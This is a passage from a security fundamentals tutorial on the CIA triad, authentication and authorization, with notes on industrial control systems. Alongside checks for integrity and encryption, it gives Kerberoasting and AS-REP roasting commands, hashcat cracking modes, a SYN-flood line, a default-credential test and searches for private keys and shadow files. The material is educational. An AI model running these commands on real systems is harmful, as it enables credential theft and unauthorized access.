&lt;p&gt;&lt;strong&gt;OT/ICS Confidentiality:&lt;/strong&gt;&lt;br&gt;
In OT environments, confidentiality concerns include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Process parameters (setpoints, recipes, formulas) — competitive intelligence&lt;/li&gt;
&lt;li&gt;Control system architecture (network topology, PLC models, firmware versions) — facilitates targeted attacks&lt;/li&gt;
&lt;li&gt;Personnel locations and schedules (safety risk)&lt;/li&gt;
&lt;li&gt;Proprietary industrial processes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, OT prioritises Availability &amp;gt; Integrity &amp;gt; Confidentiality (inverse of typical IT). A confidentiality breach in OT rarely causes immediate physical harm; an availability breach can stop production or cause safety incidents.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Testing confidentiality controls:&lt;/span&gt;

&lt;span class="c"&gt;# Check if data is encrypted in transit:&lt;/span&gt;
openssl s_client &lt;span class="nt"&gt;-connect&lt;/span&gt; target:443 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"Protocol|Cipher"&lt;/span&gt;
&lt;span class="c"&gt;# If no TLS: confidentiality is unprotected in transit&lt;/span&gt;

&lt;span class="c"&gt;# Check if sensitive files are readable by unauthorised users:&lt;/span&gt;
find /etc /var /opt &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.conf"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.key"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.pem"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"^-r--------&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;^-rw-------"&lt;/span&gt;
&lt;span class="c"&gt;# Files readable by group/other = potential confidentiality failure&lt;/span&gt;

&lt;span class="c"&gt;# Check disk encryption status (Linux):&lt;/span&gt;
lsblk &lt;span class="nt"&gt;-o&lt;/span&gt; NAME,FSTYPE,MOUNTPOINT | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; crypt   &lt;span class="c"&gt;# LUKS volumes&lt;/span&gt;
cryptsetup status /dev/sda                          &lt;span class="c"&gt;# LUKS status&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows BitLocker:&lt;/span&gt;
manage-bde &lt;span class="nt"&gt;-status&lt;/span&gt; C:
&lt;span class="c"&gt;# "Protection Status: Protection On" = confidentiality protected&lt;/span&gt;

&lt;span class="c"&gt;# Find world-readable sensitive files:&lt;/span&gt;
find / &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"id_rsa"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"*.key"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s2"&gt;"shadow"&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;" root root "&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Integrity
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; Ensuring that information is accurate, complete, and has not been modified by unauthorised parties.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First principles:&lt;/strong&gt; Information only has value if it is trustworthy. If a financial record, a software update, a medical record, or a sensor reading can be silently modified by an attacker, every decision based on that information may be wrong. Integrity ensures that data is what it claims to be.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two types of integrity:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Data Integrity:
  The content of information has not been modified
  Example: a log entry has not been altered after the fact

System Integrity:
  The system behaves as designed
  Example: the operating system hasn't been modified by malware

Both are required — compromising either defeats the purpose of the other
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Mechanisms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cryptographic hashes (SHA-256, SHA-3) — detect any modification&lt;/li&gt;
&lt;li&gt;Digital signatures — verify origin and integrity together&lt;/li&gt;
&lt;li&gt;MACs (Message Authentication Codes) — integrity + authentication&lt;/li&gt;
&lt;li&gt;Checksums — detect accidental modification (not malicious)&lt;/li&gt;
&lt;li&gt;Write-once storage (immutable logs, WORM)&lt;/li&gt;
&lt;li&gt;Version control systems (detect unauthorised changes)&lt;/li&gt;
&lt;li&gt;File integrity monitoring (Tripwire, AIDE, Windows FIM)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;How integrity is attacked:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SolarWinds SUNBURST (2020):
  Target: Software supply chain integrity
  Method: Modify legitimate software before distribution
  How: Compromise build server, inject malicious code into DLL
  Result: Signed, legitimate-looking update contained backdoor
  Impact: 18,000 organisations infected

NotPetya (2017):
  Target: Software supply chain integrity (MeDoc accounting software)
  Method: Hijack auto-update mechanism
  How: Compromise update server for Ukrainian tax software
  Distribution: Sent malicious update to all MeDoc users in Ukraine
  Impact: $10 billion global damage, most destructive malware ever

Log tampering:
  Attacker modifies system logs after compromise to remove evidence
  Mitigation: Forward logs to remote, append-only syslog server immediately
  Forensic indicator: gaps in log sequence numbers, missing events

Database manipulation:
  Direct SQL UPDATE/DELETE on database records
  No trace unless query logging enabled
  Example: financial fraud via database record modification
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;OT/ICS Integrity — Most Critical Property:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In OT, integrity is arguably the most dangerous property to violate because the consequences are physical:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Stuxnet Integrity Attack (2010):
  Attack: Modified centrifuge control parameters while sending false
          "normal" readings to the operator HMI
  Result: Operators saw normal operation; centrifuges were destroying themselves
  Mechanism: Rootkit intercepted Siemens WinCC API calls
             Returned pre-recorded "normal" data to SCADA
             Sent actual destructive commands to PLCs

  This is the definitive integrity attack on OT:
  - Sensor data integrity: FALSE (operators see lies)
  - Control command integrity: COMPROMISED (PLCs receive attacker commands)
  - System integrity: COMPROMISED (rootkit hidden in SCADA)

Integrity in OT sensor data:
  A pressure sensor reading 150 PSI when actual pressure is 300 PSI = 
  operator makes decisions on false data = potential explosion

  Mitigations:
  - Cross-reference multiple independent sensors
  - Physical safety systems independent of digital controls
  - IEC 62443 security levels for control system integrity
  - Message authentication for control commands (IEC 62351)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Integrity verification tools:&lt;/span&gt;

&lt;span class="c"&gt;# File integrity checking:&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum&lt;/span&gt; /bin/ls                         &lt;span class="c"&gt;# Calculate hash&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; checksums.txt               &lt;span class="c"&gt;# Verify against saved hashes&lt;/span&gt;

&lt;span class="c"&gt;# AIDE (Advanced Intrusion Detection Environment):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aide &lt;span class="nt"&gt;--init&lt;/span&gt;                          &lt;span class="c"&gt;# Create baseline database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;aide &lt;span class="nt"&gt;--check&lt;/span&gt;                         &lt;span class="c"&gt;# Compare current state to baseline&lt;/span&gt;
&lt;span class="c"&gt;# Reports: added, removed, changed files&lt;/span&gt;

&lt;span class="c"&gt;# Tripwire (enterprise FIM):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tripwire &lt;span class="nt"&gt;--init&lt;/span&gt;                      &lt;span class="c"&gt;# Initialise database&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tripwire &lt;span class="nt"&gt;--check&lt;/span&gt;                     &lt;span class="c"&gt;# Check integrity&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tripwire &lt;span class="nt"&gt;--update&lt;/span&gt;                    &lt;span class="c"&gt;# Update after approved changes&lt;/span&gt;

&lt;span class="c"&gt;# Verify package integrity (Linux):&lt;/span&gt;
rpm &lt;span class="nt"&gt;-V&lt;/span&gt; package_name                       &lt;span class="c"&gt;# RPM: verify installed package&lt;/span&gt;
dpkg &lt;span class="nt"&gt;-V&lt;/span&gt; package_name                      &lt;span class="c"&gt;# Debian: verify package&lt;/span&gt;
&lt;span class="c"&gt;# Output: 5 = checksum failure (file modified)&lt;/span&gt;

&lt;span class="c"&gt;# Verify digital signatures:&lt;/span&gt;
gpg &lt;span class="nt"&gt;--verify&lt;/span&gt; file.sig file               &lt;span class="c"&gt;# Verify GPG signature&lt;/span&gt;
openssl dgst &lt;span class="nt"&gt;-sha256&lt;/span&gt; &lt;span class="nt"&gt;-verify&lt;/span&gt; key.pub &lt;span class="nt"&gt;-signature&lt;/span&gt; sig.bin file  &lt;span class="c"&gt;# Verify OpenSSL sig&lt;/span&gt;

&lt;span class="c"&gt;# Check Windows system file integrity:&lt;/span&gt;
sfc /scannow                              &lt;span class="c"&gt;# System File Checker&lt;/span&gt;
&lt;span class="c"&gt;# Detects and repairs modified system files&lt;/span&gt;

&lt;span class="c"&gt;# Log integrity monitoring:&lt;/span&gt;
&lt;span class="c"&gt;# Forward logs to remote syslog IMMEDIATELY (before attacker can tamper):&lt;/span&gt;
&lt;span class="c"&gt;# /etc/rsyslog.conf:&lt;/span&gt;
&lt;span class="c"&gt;# *.* @@syslog-server:514              # @@ = TCP (reliable, ordered)&lt;/span&gt;
&lt;span class="c"&gt;# *.* @syslog-server:514               # @ = UDP (fire and forget)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.4 Availability
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Definition:&lt;/strong&gt; Ensuring that authorised users can access information and systems when needed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First principles:&lt;/strong&gt; A system that works perfectly but is inaccessible provides zero value. Availability controls ensure that systems remain operational and accessible under adversarial conditions (DDoS, ransomware, hardware failure) and non-adversarial conditions (power outage, software bugs, natural disasters).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mechanisms:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Redundancy (no single point of failure)&lt;/li&gt;
&lt;li&gt;Load balancing (distribute load across multiple systems)&lt;/li&gt;
&lt;li&gt;Backups (restore capability after failure)&lt;/li&gt;
&lt;li&gt;Disaster Recovery (DR) and Business Continuity Planning (BCP)&lt;/li&gt;
&lt;li&gt;Rate limiting (prevent resource exhaustion)&lt;/li&gt;
&lt;li&gt;DDoS mitigation&lt;/li&gt;
&lt;li&gt;Patch management (prevent exploit-based outages)&lt;/li&gt;
&lt;li&gt;Monitoring and alerting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Availability metrics:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Uptime measurement:
  99%     = 87.6 hours downtime/year     ("two nines")
  99.9%   = 8.76 hours downtime/year    ("three nines")
  99.99%  = 52.6 minutes downtime/year  ("four nines")
  99.999% = 5.26 minutes downtime/year  ("five nines")

RTO (Recovery Time Objective): How fast must systems be restored?
RPO (Recovery Point Objective): How much data loss is acceptable?

Example: RPO = 1 hour means: backups must run at least hourly
Example: RTO = 4 hours means: systems must be restored within 4 hours
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How availability is attacked:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DDoS (Distributed Denial of Service) — overwhelm with traffic&lt;/li&gt;
&lt;li&gt;Ransomware — encrypt data/systems, demand payment to restore&lt;/li&gt;
&lt;li&gt;Physical destruction — sabotage of hardware&lt;/li&gt;
&lt;li&gt;Resource exhaustion — fill disk, exhaust memory, TCP state table attacks&lt;/li&gt;
&lt;li&gt;Logic bombs — scheduled code to crash systems&lt;/li&gt;
&lt;li&gt;Supply chain attacks on dependencies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;OT/ICS Availability — The Primary Concern:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT Availability Priority:

In enterprise IT: CIA (Confidentiality first)
In OT/ICS: AIC (Availability first)

Why availability dominates in OT:
  A manufacturing PLC going offline = production stop = $X/minute losses
  A water treatment SCADA going offline = inability to control water quality
  A power grid SCADA going offline = potential for blackout
  An oil refinery control system going offline = unsafe process conditions

"Fail safe" vs "Fail operational":
  Enterprise IT failure: systems go down, users can't work (bad but manageable)
  OT failure: physical process continues without control (potentially dangerous)

  Safety Instrumented Systems (SIS) are designed to "fail safe":
  If SIS loses communication, it takes the process to a safe state automatically

  But: making OT highly available often means avoiding patches (restart risk),
  avoiding changes (configuration risk), avoiding monitoring (performance risk)
  → This is why OT systems are often most vulnerable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Availability monitoring and testing:&lt;/span&gt;

&lt;span class="c"&gt;# Check system uptime:&lt;/span&gt;
&lt;span class="nb"&gt;uptime&lt;/span&gt;                              &lt;span class="c"&gt;# Linux&lt;/span&gt;
systeminfo | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"System Boot"&lt;/span&gt;     &lt;span class="c"&gt;# Windows&lt;/span&gt;

&lt;span class="c"&gt;# Monitor service availability:&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 2 192.168.1.100 &amp;amp;&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;: HOST DOWN: 192.168.1.100"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /var/log/availability.log
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;sleep &lt;/span&gt;30
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Check disk space (availability killer if full):&lt;/span&gt;
&lt;span class="nb"&gt;df&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'$5 &amp;gt; 80 {print "WARNING: "$1" is "$5" full"}'&lt;/span&gt;

&lt;span class="c"&gt;# Backup verification:&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum &lt;/span&gt;backup.tar.gz             &lt;span class="c"&gt;# Hash before storage&lt;/span&gt;
&lt;span class="nb"&gt;sha256sum &lt;/span&gt;backup_restored.tar.gz    &lt;span class="c"&gt;# Hash after restoration — must match&lt;/span&gt;

&lt;span class="c"&gt;# DDoS simulation (own infrastructure only):&lt;/span&gt;
&lt;span class="c"&gt;# hping3 --flood -S -p 80 target   # SYN flood&lt;/span&gt;
&lt;span class="c"&gt;# Only run on your own test infrastructure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The CIA Triad tells you what you are protecting, not how. Every security control maps to at least one pillar — and the most damaging attacks often compromise multiple pillars simultaneously. Before designing any security control, always ask: which CIA property does this protect, and what is the most likely attack against it? The answer determines the correct tool.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Authentication — Proving Identity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 What Authentication Is
&lt;/h3&gt;

&lt;p&gt;Authentication answers the question: &lt;strong&gt;"Are you who you claim to be?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It is the process of verifying that an entity (person, system, application) is who or what it claims to be. Authentication precedes authorisation — you must know WHO someone is before you can determine what they are ALLOWED to do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication vs Identification vs Authorisation:

Identification:  "I am John Smith"       (claim — anyone can make this)
Authentication: "I can prove I am John"  (verification — requires proof)
Authorisation:  "John may access X"      (permission — granted after auth)

In systems:
  Username = identification  (I claim to be 'jsmith')
  Password = authentication  (I can prove it)
  ACL check = authorisation  (jsmith is allowed to read /etc/passwd)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Authentication Factors
&lt;/h3&gt;

&lt;p&gt;Authentication factors are categories of proof. Using multiple factors increases security exponentially because an attacker must compromise multiple independent mechanisms.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Factor 1 — Something You KNOW:
  Passwords, PINs, security questions, passphrases
  Weaknesses: forgotten, guessed, stolen via phishing, cracked offline,
              reused across sites, exposed in data breaches

Factor 2 — Something You HAVE:
  Hardware tokens (YubiKey, RSA SecurID), smart cards, mobile phones
  (TOTP codes via Authenticator apps), certificates on specific devices
  Weaknesses: lost or stolen device, SIM swapping (for SMS-based)

Factor 3 — Something You ARE:
  Biometrics: fingerprint, face recognition, iris scan, voice print, typing patterns
  Weaknesses: cannot be changed if compromised, spoofing possible,
              privacy implications, accuracy varies

Factor 4 — Somewhere You ARE:
  Geolocation, IP address, network location
  Weaknesses: VPN/proxy bypass, GPS spoofing, imprecise geofencing
  Use: usually a supplemental factor, not primary

Factor 5 — Something You DO:
  Behavioural biometrics: typing rhythm, mouse movement patterns, gait analysis
  Weaknesses: can be affected by injury, illness, stress; training period needed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Multi-Factor Authentication (MFA):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;MFA = using two or more factors from DIFFERENT categories

Common MFA implementations:
  Password + TOTP code (Factor 1 + Factor 2)
  Smart card + PIN (Factor 2 + Factor 1)
  Password + hardware key + fingerprint (F1 + F2 + F3)

NOT real MFA:
  Password + security question (both Factor 1)
  Two passwords (both Factor 1)
  Password + email code (Factor 1 + quasi-Factor 2 — email is often Factor 1 protected)

MFA Bypass Attacks:
  SIM swapping: convince carrier to transfer phone number to attacker's SIM
  OTP phishing: real-time phishing captures OTP before it expires
  MFA fatigue: send repeated MFA push notifications until user accepts

MFA Fatigue Attack (Uber, 2022):
  Attacker obtained credentials from dark web
  Spammed Uber employee's phone with MFA push notifications
  Employee eventually approved to stop the spam
  Attacker gained access → full Uber internal network compromise

  Defence: number matching MFA (display code in app that must match screen)
           Phishing-resistant MFA: FIDO2/WebAuthn hardware keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.3 Authentication Protocols
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Kerberos (Windows Active Directory):

  Design: Avoid transmitting passwords over network
  Method: Ticket-based authentication system

  Flow:
  Client → AS (Authentication Service): "I am user X" + encrypted timestamp
  AS → Client: TGT (Ticket Granting Ticket) encrypted with AS key
  Client → TGS (Ticket Granting Service): TGT + "I want service Y"
  TGS → Client: Service Ticket for Y, encrypted with service Y's key
  Client → Service Y: Service Ticket
  Service Y: Decrypts ticket, grants access

  Security implications:
  - Password never transmitted in cleartext
  - Tickets are time-limited (default: 10 hours)
  - Kerberoasting: request service tickets for accounts with SPNs,
    crack offline (ticket encrypted with service account's password)
  - Pass-the-ticket: steal TGT from memory, use to authenticate as victim
  - Golden Ticket: forge TGT using krbtgt hash (Domain Admin → persistent access)

  Tools:
    Rubeus: Kerberos attack toolkit (Kerberoasting, AS-REP Roasting, ticket extraction)
    Mimikatz: Extract Kerberos tickets from Windows memory
    Impacket GetUserSPNs: Kerberoasting from Linux

NTLM (NT LAN Manager):
  Challenge-response authentication
  Server sends 8-byte challenge
  Client responds with HMAC of NT hash
  Vulnerability: relay attacks, offline cracking

  Responder + ntlmrelayx: capture NTLM hashes, relay to other services
  Hashcat -m 5600: crack NTLMv2 hashes

OAuth 2.0 / OIDC:
  Token-based delegation
  "Login with Google" = Google authenticates, provides token to app
  Access token: what you can do
  Refresh token: get new access tokens without re-authenticating
  ID token: who you are (OIDC extension to OAuth)

SAML (Security Assertion Markup Language):
  Enterprise SSO (Single Sign-On)
  XML-based assertions from Identity Provider to Service Provider
  Attack: SAML response manipulation if not properly signed and verified
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Authentication testing and monitoring:&lt;/span&gt;

&lt;span class="c"&gt;# Check password hash algorithm in /etc/shadow:&lt;/span&gt;
&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /etc/shadow | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt;
&lt;span class="c"&gt;# $6$ = SHA-512 (good)&lt;/span&gt;
&lt;span class="c"&gt;# $5$ = SHA-256 (acceptable)&lt;/span&gt;
&lt;span class="c"&gt;# $1$ = MD5 (insecure — must change)&lt;/span&gt;
&lt;span class="c"&gt;# $y$ = yescrypt (modern, excellent)&lt;/span&gt;
&lt;span class="c"&gt;# DES (no prefix) = extremely insecure&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate Kerberoastable accounts:&lt;/span&gt;
&lt;span class="c"&gt;# (requires domain credentials)&lt;/span&gt;
impacket-GetUserSPNs &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; 192.168.1.10 DOMAIN/user:password &lt;span class="nt"&gt;-request&lt;/span&gt;
&lt;span class="c"&gt;# Outputs: TGS tickets for service accounts → crack with hashcat -m 13100&lt;/span&gt;

&lt;span class="c"&gt;# AS-REP Roasting (accounts with "don't require preauth"):&lt;/span&gt;
impacket-GetNPUsers DOMAIN/ &lt;span class="nt"&gt;-usersfile&lt;/span&gt; users.txt &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; 192.168.1.10 &lt;span class="nt"&gt;-no-pass&lt;/span&gt;
&lt;span class="c"&gt;# Outputs: AS-REP hashes → crack with hashcat -m 18200&lt;/span&gt;

&lt;span class="c"&gt;# Check for weak authentication on web services:&lt;/span&gt;
&lt;span class="c"&gt;# Test default credentials:&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://target/login &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"user":"admin","pass":"admin"}'&lt;/span&gt;
&lt;span class="c"&gt;# 200 with success indicator = default creds work&lt;/span&gt;

&lt;span class="c"&gt;# Check for MFA enforcement:&lt;/span&gt;
&lt;span class="c"&gt;# If login succeeds with just username/password (no second factor prompt): no MFA&lt;/span&gt;

&lt;span class="c"&gt;# Monitor authentication failures (Linux):&lt;/span&gt;
&lt;span class="nb"&gt;sudo grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Invalid user"&lt;/span&gt; /var/log/auth.log | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $(NF-3)}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-10&lt;/span&gt;
&lt;span class="c"&gt;# High count from single IP = brute force attempt&lt;/span&gt;

&lt;span class="c"&gt;# Windows authentication log:&lt;/span&gt;
&lt;span class="c"&gt;# Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4625} | Select-Object -First 10&lt;/span&gt;
&lt;span class="c"&gt;# Event 4625 = failed logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4624 = successful logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4648 = logon with explicit credentials (often malicious)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Authentication in OT/ICS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT Authentication Challenges:

1. Many field devices (PLCs, RTUs) have NO authentication:
   Modbus: no authentication — any device on the network can read/write
   DNP3 baseline: no authentication (SAv5 adds it but rarely deployed)
   PROFIBUS: no authentication
   → Anyone with network access = full control

2. Default credentials pervasive in OT:
   PLC web interfaces: admin/admin
   SCADA systems: factory default passwords rarely changed
   Industrial switches: default Telnet credentials

3. Legacy OT systems cannot support modern authentication:
   Old PLCs cannot run TLS or modern crypto
   Resources too constrained for authentication overhead

4. Shared credentials common:
   "The HMI password" known to all operators
   No individual accountability
   Cannot audit who made which change

5. Authentication vs real-time requirements:
   Latency introduced by authentication may be unacceptable for
   time-critical control operations

Defence:
  Network segmentation (compensate for device auth failure)
  Jump servers with strong auth for accessing OT
  OPC-UA with authentication for modern inter-device communication
  IEC 62351 for protocol-level authentication
  NERC CIP requires access management for BES Cyber Systems
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Authentication is the gateway to all other security controls — if authentication is bypassed or compromised, every authorisation control becomes meaningless. Phishing-resistant hardware MFA (FIDO2/WebAuthn) is the only authentication method provably resistant to the most common attacks (phishing, credential stuffing, real-time OTP replay). SMS and TOTP codes remain valuable but are not phishing-resistant.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Authorization — Granting Permission
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 What Authorization Is
&lt;/h3&gt;

&lt;p&gt;Authorisation answers: &lt;strong&gt;"What are you allowed to do?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After identity is verified (authentication), the system determines what resources and actions the authenticated entity is permitted to access or perform. Authorisation and authentication are distinct — one system knowing who you are does not mean it knows what you're allowed to do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication → Authorization → Access

Authentication verifies identity
Authorisation enforces policy
They can fail independently:

Broken Auth + Correct Authz:  Attacker impersonates user, gets user's permissions only
Correct Auth + Broken Authz:  Real user authenticated, but can access resources beyond permissions
Both broken:                  Complete compromise
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Authorisation Models
&lt;/h3&gt;

